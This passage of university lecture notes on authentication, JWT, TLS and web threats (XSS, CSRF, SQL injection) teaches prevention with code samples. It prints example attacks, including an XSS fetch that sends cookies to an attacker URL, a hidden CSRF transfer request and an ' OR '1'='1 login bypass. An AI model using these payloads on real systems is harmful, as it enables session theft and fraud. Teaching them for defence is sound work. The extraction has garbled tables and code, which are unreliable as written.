• Output a report comparing: plaintext length vs hash length, time taken to hash.
• Observation: Run the same password twice and note that the hashes are DIFFERENT (due to
salt).

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 17 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Authentication & Secure


WEEK 2 Communication JWT · HTTPS · TLS ·
Authorization

Learning Objectives

• Distinguish clearly between authentication and authorization

• Understand the structure and lifecycle of a JWT token

• Explain how HTTPS and TLS secure data in transit

• Design a complete, secure login flow from client to server

2.1 Authentication vs Authorization


These two terms are often confused but represent fundamentally different security concepts.
Understanding the distinction is critical for designing secure systems.

Authentication (AuthN) Authorization (AuthZ)

Question Asked "Who are you?" "What are you allowed to do?"

Purpose Verify identity of the user Determine access rights/permissions

When Happens BEFORE authorization AFTER authentication

Example Login with username & password Can this user delete records?

Tokens/Methods Passwords, biometrics, OTPs, JWT Roles, ACLs, OAuth scopes

Failure Result Login rejected (401 Unauthorized) Access denied (403 Forbidden)

Real-World Analogy:

Hotel Key Card Analogy


• AUTHENTICATION: You check in at the front desk, show your ID, and prove who you are. The
hotel gives you a key card.
• AUTHORIZATION: Your key card only opens your room (Room 305), the gym, and the pool —
not the manager's office or other guest rooms.
• Just having a key card (being authenticated) does not mean you can go everywhere
(authorization controls access levels).

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 18 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

2.2 JWT Token-Based Authentication


A JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact,
self-contained method for securely transmitting information between parties as a JSON object.
JWTs are widely used for authentication in modern web applications, APIs, and microservices
because they are stateless — the server does not need to store session data.

Why stateless authentication matters: Traditional session-based authentication requires the


server to store a session record in memory or a database for every logged-in user. As applications
scale to thousands or millions of concurrent users, this session store becomes a bottleneck and a
single point of failure. JWTs eliminate this: all necessary user information is encoded directly in
the token, so any server in a load-balanced cluster can validate any JWT without consulting a
central session store.

Figure 3: JWT Authentication Flow

Client 1. POST /login (user+pass) Auth Resource


(Browser) 2. JWT Token issued Server Server

4. Validate

3. GET /api/data Authorization: Bearer <JWT>

5. Protected Data Returned

JWT STRUCTURE:
Header Payload Signature
(alg, typ) (claims, exp, iat) (HMAC/RSA)
. (dot separator) . (dot separator)

The client presents credentials once and receives a JWT. All subsequent API requests carry this token in the
Authorization header — no session storage needed on the server.

JWT Structure — Three Parts Separated by Dots:


A JWT looks like: [Link] — three Base64URL-encoded segments joined by periods.
Each segment has a specific role:

Part Contains Example Fields Purpose

Algorithm & Tells verifier HOW to


Header "alg": "HS256", "typ": "JWT"
token type validate the signature

Carries the actual user


Claims "sub": "123", "name": "John", "exp":
Payload information and token
(user data) 1700000000
metadata

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 19 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

HMAC or
Signatur HMACSHA256(base64(header)+"."+bas Proves the token has not
RSA
e e64(payload), secret) been tampered with
signature

JWT Implementation in [Link]:

// Install: npm install jsonwebtoken const jwt = require('jsonwebtoken'); const


SECRET_KEY = [Link].JWT_SECRET; // Store in .env file! // ■■ GENERATING a JWT
(on successful login) ■■■■■■■■■■■■■■■■■■ function generateToken(userId,
username, role) { const payload = { sub: userId, // Subject (user ID) username:
username, // Custom claim role: role, // e.g., "admin", "student" iat: [Link](),
// Issued At }; return [Link](payload, SECRET_KEY, { expiresIn: '1h' }); } // ■■
VERIFYING a JWT (on each protected request) ■■■■■■■■■■■■■■ function
verifyToken(req, res, next) { const authHeader = [Link]['authorization']; const
token = authHeader && [Link](' ')[1]; // "Bearer TOKEN" if (!token) return
[Link](401).json({ error: "No token provided" }); [Link](token, SECRET_KEY,
(err, decoded) => { if (err) return [Link](403).json({ error: "Invalid or
expired token" }); [Link] = decoded; // Attach user info to request next(); //
Proceed to protected route handler }); } // ■■ USAGE on a protected route
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■ [Link]('/api/profile', verifyToken, (req,
res) => { [Link]({ message: "Welcome!", user: [Link] }); });

JWT Security Best Practices


• NEVER store JWTs in localStorage — use httpOnly cookies to prevent XSS theft.
• Always set an expiration time (exp claim) — short-lived tokens (15 min–1 hr) are safer.
• Keep your SECRET_KEY in environment variables — never hardcode it in source code.
• Use HTTPS always — JWTs transmitted over HTTP can be intercepted.
• Implement token refresh mechanisms instead of long expiry times.

2.3 HTTPS and TLS Basics


HTTPS (Hypertext Transfer Protocol Secure) is HTTP with encryption. It uses the TLS (Transport
Layer Security) protocol to encrypt all communication between a client (browser) and a web
server. Without HTTPS, all data — including passwords, credit card numbers, and personal
information — travels in plaintext and can be intercepted by anyone on the network (a
"Man-in-the-Middle" attack).

Figure 4: TLS Handshake Process

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 20 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Client■(Browser) Server

ClientHello (TLS version, cipher suites, random)

ServerHello + Certificate + ServerHelloDone

ClientKeyExchange (pre-master secret)

ChangeCipherSpec + Finished

ChangeCipherSpec + Finished

Encrypted Application Data

The TLS handshake establishes a shared secret between client and server before any application data is transmitted,
ensuring all subsequent communication is encrypted.

Table 3: TLS/SSL Version History

Version Year Status Notes

SSL 2.0 1995 Deprecated Known vulnerabilities — never use

SSL 3.0 1996 Deprecated POODLE attack — never use

TLS 1.0 1999 Deprecated Disable on servers

TLS 1.1 2006 Deprecated Disable on servers

TLS 1.2 2008 Supported Still widely used, acceptable

Recommende
TLS 1.3 2018 d Fastest and most secure — use this

2.4 Secure Login Flow Design


Designing a secure authentication flow requires thinking about every step from the user entering
credentials to receiving a response. Each step must be hardened against attacks such as brute
force, credential stuffing, phishing, and session hijacking.

Ste Action Security Measure


p

1. In User enters username and password HTTPS must be active; no credentials over HTTP
put in the browser

2. T Credentials sent to server via POST TLS 1.2/1.3 encrypts data in transit
rans request
port

3. V Server checks username exists in Prevent timing attacks — same response time for valid/invalid users
alid database
atio
n

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 21 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

4. H [Link](input_password, Never decrypt — only compare hashes


ash stored_hash)
Co
mpa
re

5. R Server checks login attempt count Lock account after 5 failed attempts; CAPTCHA after 3
ate
Limi
ting

6. J Server generates JWT with user Short expiry (1h); signed with strong secret
WT claims
Issu
e

7. T JWT sent to client in httpOnly cookie httpOnly prevents JavaScript access; Secure flag enforces HTTPS
oke only
n St
ora
ge

8. S Client sends JWT in Authorization Server validates on every protected route


ubs header or cookie
equ
ent
Req
uest
s

9. L Client clears token; server adds to Token revocation list or short expiry
ogo blacklist if needed
ut

Student Task – Week 2


• Draw a complete secure login flow diagram (can use [Link], Lucidchart, or pen & paper).
• Include all 9 steps from the table above.
• Inspect HTTPS requests on a live website using browser DevTools (F12 → Network tab).
• Look for: Request headers, Response cookies (check for httpOnly/Secure flags), TLS
certificate details (click the padlock icon).
• Extra: Use [Link] to decode a sample JWT and identify the header, payload, and signature
parts.

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 22 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Web & Network Security Threats XSS ·


WEEK 3 CSRF · SQL Injection · Firewalls ·
IDS/IPS

Learning Objectives

• Understand how XSS, CSRF, and SQL Injection attacks work mechanically

• Implement prevention techniques for each vulnerability in code

• Apply secure coding practices in web application development

• Understand the role of firewalls, IDS, and IPS in network security

3.1 Cross-Site Scripting (XSS)


Cross-Site Scripting (XSS) is one of the most common and dangerous web vulnerabilities. It
occurs when an attacker injects malicious JavaScript code into a web page that is then executed
by the browsers of other users visiting that page. XSS attacks can steal cookies, session tokens,
redirect users, deface websites, or install keyloggers.

Figure 5: XSS Attack Flow

1. Injects <script> into comment/input Vulnerable 2. Server stores & serves malicious script Victim
Attacker
Web Server (Browser)

3. Script runs in victim browser


4. Stolen cookies/session sent to attacker

Malicious Payload: Prevention:


<script>[Link]</script> • Sanitize & encode all user inputs
fetch("[Link]/?c="+btoa([Link])) • Use Content Security Policy (CSP)

The attacker injects a script that the server unknowingly serves to victims. The victim's browser executes the script,
sending sensitive data back to the attacker.

Table 4: XSS Attack Types

XSS Type How It Works Persistence Example

Stored XSS Malicious script saved in the Permanent Injecting script in a forum post that
(Persistent) database (e.g., in a comment field) until removed all readers see
and served to all users

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 23 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Reflected Script embedded in URL Temporary — Phishing email with crafted URL
XSS (Non-Per parameters; victim clicks a only when link containing the payload
sistent) malicious link is clicked

DOM-Based Script manipulates the DOM directly Temporary URL hash or query params
XSS using client-side JavaScript processed insecurely by JS on the
page

XSS Prevention Techniques:

// ■■ VULNERABLE Code (NEVER do this) ■■■■■■■■■■■■■■■■■■■■■■■■ // Directly


inserting user input into HTML — XSS vulnerability!
[Link]("output").innerHTML = userInput; // DANGEROUS! // ■■ SECURE
Alternative 1: Use textContent (not innerHTML) ■■■
[Link]("output").textContent = userInput; // Safe! // ■■ SECURE
Alternative 2: Sanitize with DOMPurify library ■■■ // npm install dompurify import
DOMPurify from "dompurify"; const clean = [Link](userInput);
[Link]("output").innerHTML = clean; // Safe! // ■■ SECURE
Alternative 3: Encode output in React ■■■■■■■■■■■■ // React automatically escapes
values in JSX — use it! function UserComment({ comment }) { return {comment}; //
React escapes this automatically } // ■■ Content Security Policy (CSP) Header
■■■■■■■■■■■■■■■■■■■■■ // Add to your Express server: [Link]((req, res, next)
=> { [Link]("Content-Security-Policy", "default-src 'self'; script-src 'self'
[Link] next(); });

3.2 Cross-Site Request Forgery (CSRF)


Cross-Site Request Forgery (CSRF) tricks an authenticated user into unknowingly submitting a
malicious request. The attacker exploits the fact that the browser automatically includes cookies
(including session tokens) with every request to a domain. If the user is logged into their bank
website and visits a malicious page, that page can silently issue requests to the bank on the
user's behalf.

CSRF Attack Flow:


1. User logs into [Link] — browser stores session cookie.
2. While still logged in, user visits [Link] (via phishing link or advertisement).
3. [Link] contains hidden code: <img src="[Link]/transfer?to=attacker&amount=5000"> or a
hidden form that auto-submits.
4. Browser sends this request to [Link] WITH the session cookie (browsers attach cookies
automatically).
5. [Link] sees a valid authenticated request and executes the transfer — victim loses money.

CSRF Prevention:
Prevention Description Implementation
Method

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 24 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

CSRF Tokens Server generates a unique token per Include hidden input field
session/form. Token must be submitted
with every state-changing request.

SameSite Cookie Prevents cookies from being sent with Set-Cookie: session=abc;
Attribute cross-site requests. SameSite=Strict; Secure; HttpOnly

Double Submit CSRF token stored in cookie AND sent in Both values must match for request to
Cookie request body. Server compares both. proceed

Custom Request AJAX requests with custom headers (e.g., Check header presence on server-side
Headers X-Requested-With) cannot be forged by
simple forms.

Referer/Origin Server checks that request origin matches Reject requests from unexpected
Validation expected domain. origins

3.3 SQL Injection


SQL Injection (SQLi) is an attack where malicious SQL code is inserted into an application's
database query through user-supplied input. If an application naively concatenates user input into
a SQL query string, an attacker can manipulate the query to bypass authentication, read all data
in the database, modify or delete records, or even execute system commands.

// ■■ VULNERABLE Code ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■ const


username = [Link]; // e.g., attacker enters: ' OR '1'='1 const password =
[Link]; // e.g., anything const query = `SELECT * FROM users WHERE
username = '${username}' AND password = '${password}'`; // Attacker's resulting
query: // SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'x' //
This returns ALL users because '1'='1' is always true! // ■■ SECURE Code:
Parameterized Queries (Prepared Statements) ■ const query = "SELECT * FROM users
WHERE username = ? AND password = ?"; [Link](query, [username, password], (err,
results) => { // User input is treated as DATA, never as SQL code // The ?
placeholders are safely escaped by the database driver if ([Link] > 0) {
[Link]("Login successful!"); } else { [Link]("Invalid credentials."); }
}); // ■■ Using an ORM (Sequelize) — also safe ■■■■■■■■■■■■■■■■■■■■■ const
user = await [Link]({ where: { username: username, password: hashedPassword }
});

Table 5: SQL Injection Types

SQLi Type Method Impact

Classic/In-band SQLi Error messages or UNION queries reveal Full database dump, authentication
data directly bypass

Blind Boolean SQLi Ask TRUE/FALSE questions to infer data Slow but can extract all data

Blind Time-Based Use SLEEP() to infer data based on Works even when no output is shown
SQLi response time

Out-of-Band SQLi Use database features to send data to Data exfiltration even with no visible
attacker (DNS, HTTP) errors

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 25 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Second-Order SQLi Payload stored then executed later in a Hard to detect in code review
different context

3.4 Secure Coding Practices


Secure coding is the practice of writing software that is resistant to vulnerabilities and attacks. It
involves applying security principles throughout the development lifecycle, not just as an
afterthought. The OWASP (Open Web Application Security Project) Top 10 provides the
industry-standard list of the most critical web security risks.

Practice Description Example

Input Validation Never trust user input — validate type, Check that an email field contains "@" and a
length, format, and range on the valid domain before processing.
SERVER side.

Output Encoding Encode data before inserting into Use htmlspecialchars() in PHP or React's
HTML, JS, CSS, or SQL to prevent built-in escaping.
injection attacks.

Least Privilege Grant only the minimum permissions DB user for a login page needs SELECT only
necessary to complete a task. — not DROP TABLE.

Error Handling Show generic errors to users; log Display "Login failed" — never "User not
detailed errors only on the server. found" or stack traces.

Dependency Keep all libraries and frameworks Run npm audit regularly; use Snyk or
Management updated; scan for known vulnerabilities. Dependabot.

Secure Defaults Applications should be secure "out of Default to HTTPS; require strong passwords;
the box" with no extra configuration disable debug mode in production.
needed.

Cryptographic Use well-vetted, current cryptographic Use AES-256 for encryption, bcrypt for
Standards algorithms. Never invent your own passwords, SHA-256 for hashing.
crypto.

Authentication Multi-factor authentication, account Require OTP after password; lock after 5
Controls lockout, secure password reset. failed logins.

3.5 Firewalls, IDS and IPS


Network security hardware and software devices form the perimeter defense of an organization's
infrastructure. Firewalls, Intrusion Detection Systems (IDS), and Intrusion Prevention
Systems (IPS) work together as layers of defense.

Figure 6: Firewall, IDS/IPS in a Network Architecture

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 26 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Internet Traffic Firewall Allowed IDS/IPS Clean Internal


Users
(Untrusted) (Filter) (Monitor) Network

Alert! Suspicious
Firewall: blocks based on rules IDS: detects threats IPS: blocks threats

Traffic flows from the untrusted internet through the firewall (which blocks unauthorized packets), then through the
IDS/IPS (which monitors for suspicious patterns), before reaching internal systems.

Table 6: Network Security Devices Comparison

Device Function Action on Threat Layer Example Products

Firewall Controls traffic based on IP, Block/Allow Network pfSense, Cisco ASA,
port, protocol rules packets (L3/L4) Windows Defender
Firewall

IDS (Intrusion Monitors and analyzes traffic ALERT only — Network/Ho Snort, Zeek (Bro),
Detection for known attack signatures or does not block st OSSEC
System) anomalies

IPS (Intrusion Like IDS but sits inline in the BLOCK malicious Network/Ho Snort in inline mode,
Prevention traffic path traffic in real time st Suricata, Cisco
System) Firepower

WAF (Web Filters HTTP traffic; blocks Block malicious Application Cloudflare WAF, AWS
Application web-layer attacks (XSS, SQLi) HTTP requests (L7) WAF, ModSecurity
Firewall)

SIEM Aggregates and analyzes logs Alert and correlate Manageme Splunk, IBM QRadar,
from all security devices events nt Microsoft Sentinel

Types of Firewalls:
Type How It Works Strengths

Packet Filter Inspects packet headers (IP, port, protocol) Fast; low overhead; good for simple
against static rules rules

Stateful Inspection Tracks connection state; ensures packets More intelligent than packet filter;
belong to a valid session catches spoofed packets

Application Inspects application-layer data; acts as Deep inspection; can filter HTTP
Gateway (Proxy) intermediary content

Next-Gen Firewall Combines all above + DPI, IPS, SSL Most comprehensive; industry
(NGFW) inspection, identity awareness standard today

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 27 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Student Task – Week 3


• Download or set up a sample vulnerable React application (search for "DVWA" or use a
provided sample).
• Identify at least THREE security vulnerabilities in the application (look for unescaped user
inputs, unsanitized query strings, missing CSRF tokens, plaintext passwords).
• Document each vulnerability: what it is, how it could be exploited, and how to fix it.
• Apply the fixes: sanitize inputs, use parameterized queries, add CSRF tokens, encode outputs.
• Write a security report (1 page) summarizing: Vulnerabilities found, Fixes applied, Tools used.
• Bonus: Use browser DevTools to attempt a simple reflected XSS and then verify your fix works.

Week 1–3 Summary: Key Security Concepts at a Glance

Concept We Core Idea Why It Matters


ek

Symmetric 1 Same key encrypts & decrypts; fast but key Protects bulk data (files, database
Encryption distribution is a challenge fields, network streams)

Asymmetric 1 Key pair (public+private); solves key Secures key exchange, enables digital
Encryption distribution problem signatures and certificates

Hashing 1 One-way function; fixed output; irreversible Password storage, data integrity
verification, digital signatures

bcrypt 1 Slow, salted password hashing; cost factor The industry standard for secure
is adjustable password storage

Authentication 2 Proving identity ("Who are you?") using First line of defense; ensures only valid
credentials users enter the system

JWT 2 Stateless signed token carrying user claims; Enables scalable, server-side
three-part structure sessionless API authentication

HTTPS/TLS 2 Encrypts all data in transit between client Prevents eavesdropping,


and server man-in-the-middle attacks, data
tampering

XSS 3 Injecting malicious scripts into pages viewed Can steal sessions, credentials,
by other users deface sites; very common
vulnerability

CSRF 3 Tricking authenticated users into unintended Can transfer funds, change settings,
actions delete data without user knowledge

SQL Injection 3 Inserting SQL code into database queries Bypasses authentication, exposes
via user input entire database, can destroy data

Firewall / IDS / IPS 3 Network perimeter defense: filter, detect, Essential for enterprise network
and prevent threats security; forms the outer defense layer

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 28 of 29
BIT 6163 – Cryptography & Network Security
Lincoln University College

Note to Students: These three weeks lay the essential security foundation for the entire
course. The concepts covered here — encryption, authentication, and web security threats —
will be applied directly when you build and secure your ReactJS applications in Weeks 4
through 15. Review these notes before each ReactJS security lab.

BIT 6163 | Cryptography & Network Security | Lecture Notes (Weeks 1–3) Page 29 of 29

You might also like